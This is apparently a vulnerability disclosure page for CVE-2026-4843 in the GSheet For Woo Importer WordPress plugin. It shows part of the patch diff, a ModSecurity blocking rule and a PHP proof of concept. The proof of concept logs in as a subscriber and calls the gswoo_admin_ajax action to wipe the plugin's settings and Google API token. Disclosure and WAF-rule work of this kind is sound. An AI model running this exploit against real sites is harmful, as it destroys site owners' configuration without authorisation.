+					'We can not show you import google sheet plugin button because you do not set google api connection, please go to %1$s plugin settings page %2$s and try to set it again.',
+					'import-products-from-gsheet-for-woo-importer'
+				)
 			),
 			'<a href="' . esc_url( $menu_page_url ) . '">',
 			'</a>'
--- a/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-wc-form-connection-error-message.php
+++ b/import-products-from-gsheet-for-woo-importer/src/Views/html-admin-wc-form-connection-error-message.php
@@ -10,11 +10,13 @@
 ?>
 <h2 style="color: red">
 	<?php
-	echo sprintf(
-		// translators: %s1: plugin import page url, %s2: closing link tag.
-		esc_html__(
-			'You do not set plugin google API connection settings properly, please go to %1$1s plugin settings page %2$2s and try to set it again.',
-			'import-products-from-gsheet-for-woo-importer'
+	printf(
+		wp_kses_post(
+			// translators: %1$s: opening link tag, %2$s: closing link tag.
+			__(
+				'You do not set plugin google API connection settings properly, please go to %1$s plugin settings page %2$s and try to set it again.',
+				'import-products-from-gsheet-for-woo-importer'
+			)
 		),
 		'<a href="' . esc_url( menu_page_url( 'woocommerce_import_products_google_sheet_menu', false ) ) . '">',
 		'</a>'
--- a/import-products-from-gsheet-for-woo-importer/uninstall.php
+++ b/import-products-from-gsheet-for-woo-importer/uninstall.php
@@ -19,4 +19,3 @@
 foreach ( $option_list as $option_name ) {
 	delete_option( $option_name );
 }
-
--- a/import-products-from-gsheet-for-woo-importer/vendor/autoload.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/autoload.php
@@ -2,6 +2,24 @@

 // autoload.php @generated by Composer

+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    trigger_error(
+        $err,
+        E_USER_ERROR
+    );
+}
+
 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit2d4bb5d95a2b82035b849f95716dd969::getLoader();
+return ComposerAutoloaderInit6a0da8f5631a1716438ca63e4df4e9b2::getLoader();
--- a/import-products-from-gsheet-for-woo-importer/vendor/composer/ClassLoader.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/import-products-from-gsheet-for-woo-importer/vendor/composer/InstalledVersions.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/composer/InstalledVersions.php
@@ -21,12 +21,14 @@
  * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
  *
  * To require its presence, you can require `composer-runtime-api ^2.0`
+ *
+ * @final
  */
 class InstalledVersions
 {
     /**
      * @var mixed[]|null
-     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
+     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

@@ -37,7 +39,7 @@

     /**
      * @var array[]
-     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
+     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
     private static $installedByVendor = array();

@@ -96,7 +98,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -117,7 +119,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -241,7 +243,7 @@

     /**
      * @return array
-     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
+     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
      */
     public static function getRootPackage()
     {
@@ -255,7 +257,7 @@
      *
      * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
      * @return array[]
-     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
+     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
      */
     public static function getRawData()
     {
@@ -278,7 +280,7 @@
      * Returns the raw data of all installed.php which are currently loaded for custom implementations
      *
      * @return array[]
-     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
+     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
     public static function getAllRawData()
     {
@@ -301,7 +303,7 @@
      * @param  array[] $data A vendor/composer/installed.php data set
      * @return void
      *
-     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data
+     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
      */
     public static function reload($data)
     {
@@ -311,7 +313,7 @@

     /**
      * @return array[]
-     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
+     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
     private static function getInstalled()
     {
@@ -326,7 +328,9 @@
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
-                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
+                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                    $required = require $vendorDir.'/composer/installed.php';
+                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
                     if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
                         self::$installed = $installed[count($installed) - 1];
                     }
@@ -338,12 +342,17 @@
             // only require the installed.php file if this file is loaded from its dumped location,
             // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
             if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = require __DIR__ . '/installed.php';
+                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                $required = require __DIR__ . '/installed.php';
+                self::$installed = $required;
             } else {
                 self::$installed = array();
             }
         }
-        $installed[] = self::$installed;
+
+        if (self::$installed !== array()) {
+            $installed[] = self::$installed;
+        }

         return $installed;
     }
--- a/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_classmap.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_classmap.php
@@ -2,19 +2,14 @@

 // autoload_classmap.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
-    'ArithmeticError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/ArithmeticError.php',
-    'AssertionError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/AssertionError.php',
     'Composer\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
-    'DivisionByZeroError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/DivisionByZeroError.php',
-    'Error' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/Error.php',
     'Google_AccessToken_Revoke' => $vendorDir . '/google/apiclient/src/aliases.php',
     'Google_AccessToken_Verify' => $vendorDir . '/google/apiclient/src/aliases.php',
     'Google_AuthHandler_AuthHandlerFactory' => $vendorDir . '/google/apiclient/src/aliases.php',
-    'Google_AuthHandler_Guzzle5AuthHandler' => $vendorDir . '/google/apiclient/src/aliases.php',
     'Google_AuthHandler_Guzzle6AuthHandler' => $vendorDir . '/google/apiclient/src/aliases.php',
     'Google_AuthHandler_Guzzle7AuthHandler' => $vendorDir . '/google/apiclient/src/aliases.php',
     'Google_Client' => $vendorDir . '/google/apiclient/src/aliases.php',
@@ -32,8 +27,4 @@
     'Google_Task_Retryable' => $vendorDir . '/google/apiclient/src/aliases.php',
     'Google_Task_Runner' => $vendorDir . '/google/apiclient/src/aliases.php',
     'Google_Utils_UriTemplate' => $vendorDir . '/google/apiclient/src/aliases.php',
-    'Normalizer' => $vendorDir . '/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php',
-    'ParseError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/ParseError.php',
-    'SessionUpdateTimestampHandlerInterface' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/SessionUpdateTimestampHandlerInterface.php',
-    'TypeError' => $vendorDir . '/symfony/polyfill-php70/Resources/stubs/TypeError.php',
 );
--- a/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_files.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_files.php
@@ -2,20 +2,14 @@

 // autoload_files.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
-    '5255c38a0faeba867671b61dfda6d864' => $vendorDir . '/paragonie/random_compat/lib/random.php',
     '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php',
-    'a0edc8309cc5e1d60e3047b5df6b7052' => $vendorDir . '/guzzlehttp/psr7/src/functions_include.php',
-    'c964ee0ededf28c96ebd9db5099ef910' => $vendorDir . '/guzzlehttp/promises/src/functions_include.php',
-    '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php',
-    '023d27dca8066ef29e6739335ea73bad' => $vendorDir . '/symfony/polyfill-php70/bootstrap.php',
-    'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php',
-    'f598d06aa772fa33d905e87be6398fb1' => $vendorDir . '/symfony/polyfill-intl-idn/bootstrap.php',
-    'decc78cc4436b1292c6c0d151b19445c' => $vendorDir . '/phpseclib/phpseclib/phpseclib/bootstrap.php',
+    '6e3fae29631ef280660b3cdad06f25a8' => $vendorDir . '/symfony/deprecation-contracts/function.php',
     '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php',
     '1f87db08236948d07391152dccb70f04' => $vendorDir . '/google/apiclient-services/autoload.php',
+    'decc78cc4436b1292c6c0d151b19445c' => $vendorDir . '/phpseclib/phpseclib/phpseclib/bootstrap.php',
     'a8d3953fd9959404dd22d3dfcd0a79f0' => $vendorDir . '/google/apiclient/src/aliases.php',
 );
--- a/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_namespaces.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_namespaces.php
@@ -2,7 +2,7 @@

 // autoload_namespaces.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
--- a/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_psr4.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_psr4.php
@@ -2,20 +2,21 @@

 // autoload_psr4.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
     'phpseclib3\' => array($vendorDir . '/phpseclib/phpseclib/phpseclib'),
-    'Symfony\Polyfill\Php72\' => array($vendorDir . '/symfony/polyfill-php72'),
-    'Symfony\Polyfill\Php70\' => array($vendorDir . '/symfony/polyfill-php70'),
-    'Symfony\Polyfill\Intl\Normalizer\' => array($vendorDir . '/symfony/polyfill-intl-normalizer'),
-    'Symfony\Polyfill\Intl\Idn\' => array($vendorDir . '/symfony/polyfill-intl-idn'),
-    'Psr\Log\' => array($vendorDir . '/psr/log/Psr/Log'),
-    'Psr\Http\Message\' => array($vendorDir . '/psr/http-message/src'),
+    'ZipStream\' => array($vendorDir . '/maennchen/zipstream-php/src'),
+    'Psr\SimpleCache\' => array($vendorDir . '/psr/simple-cache/src'),
+    'Psr\Log\' => array($vendorDir . '/psr/log/src'),
+    'Psr\Http\Message\' => array($vendorDir . '/psr/http-message/src', $vendorDir . '/psr/http-factory/src'),
+    'Psr\Http\Client\' => array($vendorDir . '/psr/http-client/src'),
     'Psr\Cache\' => array($vendorDir . '/psr/cache/src'),
+    'PhpOffice\PhpSpreadsheet\' => array($vendorDir . '/phpoffice/phpspreadsheet/src/PhpSpreadsheet'),
     'ParagonIE\ConstantTime\' => array($vendorDir . '/paragonie/constant_time_encoding/src'),
     'Monolog\' => array($vendorDir . '/monolog/monolog/src/Monolog'),
+    'Matrix\' => array($vendorDir . '/markbaker/matrix/classes/src'),
     'GuzzleHttp\Psr7\' => array($vendorDir . '/guzzlehttp/psr7/src'),
     'GuzzleHttp\Promise\' => array($vendorDir . '/guzzlehttp/promises/src'),
     'GuzzleHttp\' => array($vendorDir . '/guzzlehttp/guzzle/src'),
@@ -24,4 +25,6 @@
     'Google\' => array($vendorDir . '/google/apiclient/src'),
     'GSWOO\' => array($baseDir . '/src'),
     'Firebase\JWT\' => array($vendorDir . '/firebase/php-jwt/src'),
+    'Composer\Pcre\' => array($vendorDir . '/composer/pcre/src'),
+    'Complex\' => array($vendorDir . '/markbaker/complex/classes/src'),
 );
--- a/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_real.php
+++ b/import-products-from-gsheet-for-woo-importer/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit2d4bb5d95a2b82035b849f95716dd969
+class ComposerAutoloaderInit6a0da8f5631a1716438ca63e4df4e9b2
 {
     private static $loader;

@@ -24,57 +24,27 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit2d4bb5d95a2b82035b849f95716dd969', 'loadClassLoader'), true, true);
-        self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInit2d4bb5d95a2b82035b849f95716dd969', 'loadClassLoader'));
-
-        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
-        if ($useStaticLoader) {
-            require __DIR__ . '/autoload_static.php';
-
-            call_user_func(ComposerAutoloadComposerStaticInit2d4bb5d95a2b82035b849f95716dd969::getInitializer($loader));
-        } else {
-            $map = require __DIR__ . '/autoload_namespaces.php';
-            foreach ($map as $namespace => $path) {
-                $loader->set($namespace, $path);
-            }
+        spl_autoload_register(array('ComposerAutoloaderInit6a0da8f5631a1716438ca63e4df4e9b2', 'loadClassLoader'), true, true);
+        self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
+        spl_autoload_unregister(array('ComposerAutoloaderInit6a0da8f5631a1716438ca63e4df4e9b2', 'loadClassLoader'));

-            $map = require __DIR__ . '/autoload_psr4.php';
-            foreach ($map as $namespace => $path) {
-                $loader->setPsr4($namespace, $path);
-            }
-
-            $classMap = require __DIR__ . '/autoload_classmap.php';
-            if ($classMap) {
-                $loader->addClassMap($classMap);
-            }
-        }
+        require __DIR__ . '/autoload_static.php';
+        call_user_func(ComposerAutoloadComposerStaticInit6a0da8f5631a1716438ca63e4df4e9b2::getInitializer($loader));

         $loader->register(true);

-        if ($useStaticLoader) {
-            $includeFiles = ComposerAutoloadComposerStaticInit2d4bb5d95a2b82035b849f95716dd969::$files;
-        } else {
-            $includeFiles = require __DIR__ . '/autoload_files.php';
-        }
-        foreach ($includeFiles as $fileIdentifier => $file) {
-    

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4843
# Blocks unauthenticated/unauthorized AJAX requests that reset the plugin settings
# Targets the process_ajax_restore_action() handler which lacks capability checks
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261943,phase:2,deny,status:403,chain,msg:'CVE-2026-4843 GSheet For Woo Importer settings reset via AJAX',severity:'CRITICAL',tag:'CVE-2026-4843'"
  SecRule ARGS_POST:action "@streq gswoo_admin_ajax" "chain"
    SecRule ARGS_POST:restore "@rx 1" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4843 - GSheet For Woo Importer <= 2.3.1 - Missing Authorization to Authenticated (Subscriber+) Plugin Settings Reset

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$username = 'subscriber_user';       // WordPress user with Subscriber role
$password = 'subscriber_password';   // Password for that user

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Trigger the vulnerable AJAX action to delete plugin settings
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
    'action' => 'gswoo_admin_ajax',
    'nonce'  => '', // Nonce missing or invalid, but no check in vulnerable version
    'restore' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "Exploit sent. Response: " . $response . "n";
echo "If vulnerable, the plugin's Google API token and settings have been deleted.n";

// Clean up
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

